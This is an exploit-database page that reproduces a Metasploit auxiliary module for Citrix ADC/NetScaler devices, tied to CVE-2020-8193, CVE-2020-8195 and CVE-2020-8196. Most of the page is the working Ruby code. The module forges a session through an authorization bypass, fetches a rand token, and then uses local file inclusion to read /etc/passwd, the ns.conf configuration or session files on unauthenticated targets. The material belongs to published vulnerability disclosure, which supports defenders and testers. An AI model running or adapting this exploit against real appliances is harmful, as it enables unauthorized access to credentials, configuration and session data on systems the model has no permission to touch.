Lucene search
+L

Citrix ADC NetScaler Local File Inclusion

🗓️ 13 Nov 2020 00:00:00Reported by Donny MaaslandType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1162 Views

Citrix ADC NetScaler Local File Inclusion - Multiple vulnerabilities including authorization bypass and information disclosure.

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)',  
'Description' => %{  
The remote device is affected by multiple vulnerabilities.  
  
An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices.  
An unauthenticated remote attacker with access to the `NSIP/management interface` can exploit  
this to bypass authorization (CVE-2020-8193).  
  
And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.  
},  
'Author' => [  
'Donny Maasland', # Discovery  
'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)  
],  
'References' => [  
['CVE', '2020-8193'],  
['CVE', '2020-8195'],  
['CVE', '2020-8196'],  
['URL', 'https://dmaasland.github.io/posts/citrix.html'],  
['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/amp/'],  
['URL', 'https://github.com/jas502n/CVE-2020-8193']  
],  
'DisclosureDate' => '2020-07-09',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
}  
))  
  
register_options([  
OptEnum.new('MODE', [true, 'Start type.', 'discovery', [ 'discovery', 'interactive', 'sessions']]),  
OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def create_session  
params = 'type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1'  
  
request = {  
'method' => 'POST',  
'uri' => "#{normalize_uri(target_uri.path, 'pcidss', 'report')}?#{params}",  
'ctype' => 'application/xml',  
'headers' => {  
'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),  
'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8)  
},  
'data' => '<appfwprofile><login></login></appfwprofile>'  
}  
request = request.merge({'cookie' => @cookie}) if @cookie  
  
response = send_request_raw(request)  
unless response && response.code == 406  
print_error("#{@message_prefix} - No response to session request.")  
return  
end  
  
response.get_cookies  
end  
  
def fix_session_rand  
response = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'menu', 'ss'),  
'cookie' => @cookie,  
'vars_get' => {  
'sid' => 'nsroot',  
'username' => 'nsroot',  
'force_setup' => '1'  
}  
)  
  
if response && response.code == 302  
location = response.headers['location']  
  
response = send_request_cgi(  
'method' => 'GET',  
'uri' => location,  
'cookie' => @cookie  
)  
  
return unless response && response.code == 200  
end  
  
response.to_s.scan(/rand = "([^"]+)"/).join  
end  
  
def read_lfi(path, var_rand)  
params = "filter=path:#{path}"  
  
request = {  
'method' => 'POST',  
'uri' => "#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}",  
'cookie' => @cookie,  
'ctype' => 'application/xml',  
'headers' => {  
'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),  
'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8),  
'rand_key' => var_rand  
},  
'data' => '<clipermission></clipermission>'  
}  
  
response = send_request_raw(request)  
end  
  
def run_host(ip)  
proto = (datastore['SSL'] ? 'https' : 'http')  
@message_prefix = "#{proto}://#{ip}:#{datastore['RPORT']}"  
  
@cookie = create_session  
if @cookie && @cookie =~ /SESSID/  
print_status("#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}")  
  
var_rand = fix_session_rand  
unless var_rand  
print_error("#{@message_prefix} - Unable to get rand value.")  
return Exploit::CheckCode::Unknown  
end  
print_status("#{@message_prefix} - Got rand: #{var_rand}")  
  
print_status("#{@message_prefix} - Re-breaking session...")  
create_session  
  
case datastore['MODE']  
when /discovery/  
response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand)  
if response.code == 406  
if response.body.include? ('root:*:0:0:')  
print_warning("#{@message_prefix} - Vulnerable.")  
  
return Exploit::CheckCode::Vulnerable  
end  
end  
when /interactive/  
# TODO: parse response  
response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand)  
if response.code == 406  
print_line("#{response.body}")  
end  
  
return  
when /sessions/  
# TODO: parse response  
response = read_lfi('/var/nstmp'.gsub('/', '%2F'), var_rand)  
if response.code == 406  
print_line("#{response.body}")  
end  
  
return  
end  
end  
print_good("#{@message_prefix} - Not Vulnerable.")  
  
return Exploit::CheckCode::Safe  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation